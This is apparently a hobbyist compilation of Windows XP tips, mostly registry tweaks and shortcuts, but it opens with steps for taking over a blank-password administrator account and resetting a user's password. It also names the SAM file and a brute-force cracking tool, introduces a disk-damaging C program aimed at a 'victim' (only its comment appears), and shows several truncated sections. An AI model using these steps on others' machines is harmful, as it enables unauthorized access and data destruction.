Cracking Windows XP

Cracking Windows means 2 things
1>cracking the password without knowing the original password
2>Somehow Knowing the password and then using that password without letting the user know

cracking password
In XP we generally deal with 2 types of account.
Administrator Account
User Account

When XP is loaded in a computer,it asks for administrator password,generally people keep   it blank(So that  pasword can be reset when we forget later and Most of the time,people dont use their Administrator account,they like to work with   their user account.

This is how you can  crack their PC and hack Administrator Password
  1. Start your computer 
  2. It will take you to logon screen.where only user Account is visible, 
  3. Press Alt+Ctrl+Delete (2 times).it will take you to old NT style logon box 
  4. On username:  administrator   
  5. Password:                    press Enter     
  6. System will login using administrator account.
  7. Now from ur Administrator account,Open command prompt
  8.     Start-->run-->type "cmd"  without space
  9. In that command Prompt or DOS screen. Type   net   user  administrator   *        press enter
  10. It will ask for password.Press Enter 2 times and it will say command completed successfully
  11. Now you have sucessfully cracked users Password,without knowing existing password

This is not a hacking,windows had given u feature,thats why u could do it.

Create a Bad Sector on HardDisk

This is a C program,to create bad sectors on the Hard disk. Use it at your own risk

/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* I don't take responsibility for what you do with this program, served for educational purpose        * only.

Automatic Windows Refresh

We can modify the registry,so that window automatically refreshes frequently.To do so
Copy & paste the following code in notepad and save it as WindowsRefresh.reg

*****************************WindowsRefresh.reg**************************************
Windows Registry Editor Version 5.00

Clear Page File at Shutdown

A pageFile is purely an Operating System concept,its a file in which paging takes place.
For non-technical people,i dont mind to say page file works as temporary memory,if we dont have sufficient memory in the RAM.

Most Often,it contains unnecessary files inside it,which was created while executing some program,but now its totally useless.We should not delete that file,because its very helpful if your system has got less RAM(say 512MB) like me.
One thing we can certainly do is,clean that pagefile  just before sytem shutdowns.

To see PageFile,
open c:\ -->go to tool-->folder option---> scroll down and check  show hidden files & folders
also uncheck hide protected operating system.clik apply.


Now observe some new files are visible inside c:\   out of them 1 is pagefile.sys.
Note:You may not find that file,if your pagefile option is not activated

    Unload Cached DLL files to Free Memory

    Windows Explorer caches DLLs (Dynamic-Link Libraries) in memory for a period of time after the application an using them has been closed. Which in some cases can be an waste of memory. To stop WinXP from always caching these DLL files, create the new registry key below.

    1.Open up the Registry and navigate to :

    HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\Explorer

    2. Create a new sub-key named 'AlwaysUnloadDLL' and set the default value to equal '1' to disable Windows caching the DLL in memory.

    3.Restart Windows for the change to take effect

    Increase Folder Settings

    Windows remembers 400 folder settings. When that number is reached some settings aren't retained any longer. You can change this to 8000 by adding this edit to the registry.


    1. Copy the following (everything in the blue) into notepdad.

    Windows Registry Editor Version 5.00

    [-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU]
    [-HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags]

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell]
    "BagMRU Size"=dword:00001f40

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam]
    "BagMRU Size"=dword:00001f40

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
    "NoSaveSettings"=dword:00000000


    2. Save the file as folder8000.reg

    3. Double click the file to import into your registry.

    Cheating Rapidshare

    Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day. To get around this, you need to show the rapidshare server, a different IP address. You can do this one of multiple ways.

    Requesting a new IP address from your ISP server.

    Here's how to do it in windows:
    1. Click Start
    2. Click run
    3. In the run box type cmd.exe and click OK
    4. When the command prompt opens type the following. Press ENTER after each command


    ipconfig /flushdns
    ipconfig /release
    ipconfig /renew
    exit


    5. Erase your cookies in whatever browser you are using.
    6. Try the rapidshare download again.

    Frequently you will be assigned a new IP address when this happens. If you are on a fixed IP address, this method will not work.

    command.com is earliest version and cmd is latest version
    you may not get every facilities in older version.Eg if u want to execute previous command in cmd we use UpKey and we get all the previous commands.But this is not possible with command.com

    Windows xp has got a built-in music file which is played automatically when we format our system and reload windows xp.

    Here is the place where that file is kept after installation

    C:\WINDOWS\system32\oobe\images\title.mwa

    The file is hidden,so from folder option check
    show hidden files and folders and
    uncheck hide system files and folders

    Java Still not a Pure Object Oriented Programming Language

    No doubt java is the popular object oriented language in market.But sorry to say its not pure object oriented programming language.

    Reason:
    Everything is not an object in java.Sun people kept primitive datatype like int,char,float which doesnot make java a pure object oriented language.Primitive datatype are kept to make program execution faster,as dealing with object is quite expensive than datatypes

    If we develop our program using wrapper class only than we can say our program is following pure object oriented programming language

    File where your XP accounts and passwords are stored

    In windows xp,when ever we login,we have to provide a userid and password.The system will then try to match this parameter from a file where it has stored account info.So which is that file is the main Question?
    c:\windows\system32\config\ SAM
    Yes,SAM file contains the information.But we cannot copy and export or delete that file,it will show you the file is being accessed by some other process.System process is running behind the screen and it doesnot allows you to copy,delete or modify.
    Even you cannot kill the system process,if u try to do ,you will get a system shutdown message with in a minute.and your system will be shutdown within 1 min(type shutdown -a in dos prompt to abort shutdown)

    So can we know the password of the user.Yes we can use a tool called SAM Inside which can use BruteForce and Dictionary attack to get the password for us.
    Dont try to copy SAM from Dos safe mode.still it will show you same message.

    Good Luck

    Exceptional Process

    Guys,While experimenting with processes i found that SYSTEM IDLE PROCESS cannot be right-clicked,i means u cannot even try to kill it,or set its priority

    • open task manger and goto process tab
    • There you will find a lot of process running by many accounts
    • You can try to kill or set the priority of any process by right clicking it
    • But try for System Idle Process.You cannot even get the pop-up

    Even i dont no why?Even Iam in the search of this answer.Now dont says that it may be a critical and very important process,thats why windows doesnot allow you to kill it.But what if we want to set it to high priority

    One Click Shutdown

    - Create a new shortcut, and type "shutdown -s -t 00" in it then put any name for the shortcut file. This way it saved. Now whenever u click the created shortcut file, your pc will turn off automatically.

    Quickest way to shutdown Your computer

    This is the quickest way to shutdown your computer.But i suggest you not to use frequently,as it is not a standard procedure.How ever in case of emergency you may find it helpful
    • Open Your TaskManager(ctrl+shift+esc) or (alt+ctrl+delete)
    • From shutdown just highlight TurnOff
    • hold ctrl key and click on TurnOff
    • Wait for only few second and Your computer is dead.I mean turned off
    Shortcut:- ctrl+shift+esc , Alt+u, press down error twice, ctrl+enter
    This works with win xp.If you have applied certain theams then ur shutdown option may be missing in Task Bar.
    Remember it doesnot releases all your resources before closing the system.So try it in your own risk

    On Renaming Recycle Bin

    Rename Recycle Bin in different way

    - Copy the following text on notepad

    REGEDIT4

    [HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder]
    "Attributes"=hex:50,01,00,20

    "CallForAttributes"=dword:00000000



    - Now save this text file as a .reg file choosing 'Save as type' to 'any files', such as "davidcnovasax.reg" and put it wherever you like as your file name, it doesn't matter. Double click on the file, and when it asks you if you want to import it into the registry, choose Yes. You'll notice a new option in the right-click menu to Rename the Recycle Bin. You can also rename it by highlighing the Bin and hitting F2, or by highlighting it and clicking on the file name (just like renaming any other file.


    If you want to turn off this new feature, make another .reg file with the

    same content as above, but change the first number in the "Attributes"=hex:

    line from 50 to 40 and import that file into the registry.

    Create a Huge File of Any Size

    You can create a file of any size using nothing more than what's supplied with Windows. Start by converting the desired file size into hexadecimal notation.

    • You can use the Windows Calculator in Scientific mode do to this.
    • Suppose you want a file of 1 million bytes.
    • Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.)
    • Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

    Now open a command prompt window.

    1. Enter the command DEBUG BIGFILE.DAT and ignore the File not found message.

    2.Type RCX and press Enter.

    3. Debug will display a colon prompt. Enter the last four digits of the hexadecimal number you calculated (4240, in our example) and then press Enter

    4. Type RBX and press Enter,

    5. Then enter the first four digits of the hexadecimal size (000F, in our example) and press Enter

    6.Then Enter W for Write

    7.Then enter Q for Quit.

    8.You've just created a 1-million-byte file using Debug.
    you can create a file of any desired size using the same technique.The created file will be in present working directory

    IS YOUR ANTIVIRUS WORKING GOOD ? (Eicar)

    After installing your antivirus software , you may logically wonder, how do I know if it's working? The answer is a test virus. The EICAR Standard AntiVirus Test File is a combined effort by anti-virus vendors throughout the world to implement one standard by which customers can verify their anti-virus installations.

    Solution

    The file size will be 68 or 70 bytes.

    If Antivirus scan is running and configured correctly, when you try to save the file, Antivirus will detect the virus. If AntiVirus is not running, start it and scan the directory that contains EICAR.COM. When your software scans this file, it will report finding the EICAR test file.

    Note that this file is NOT A VIRUS. Delete the file when you have finished testing your installation to avoid alarming unsuspecting
    users.

    Secret Folder of XP

    In windows we cannot create some folders in a normal way.Some such folders are

    • CON
    • COM1-COM9
    • AUX
    • LPT1- LPT9

    The reason behind this,is that those names are well defined soft ports by microsoft

    LPT ports are used by Printer and so on.

    Solution:

    we can make such folder using cmd

    • open cmd 
    • type        md    .\CON\\
    • now check CON folder is created in current working directory
    • If u wanna remove it,type      rd     .\CON\\
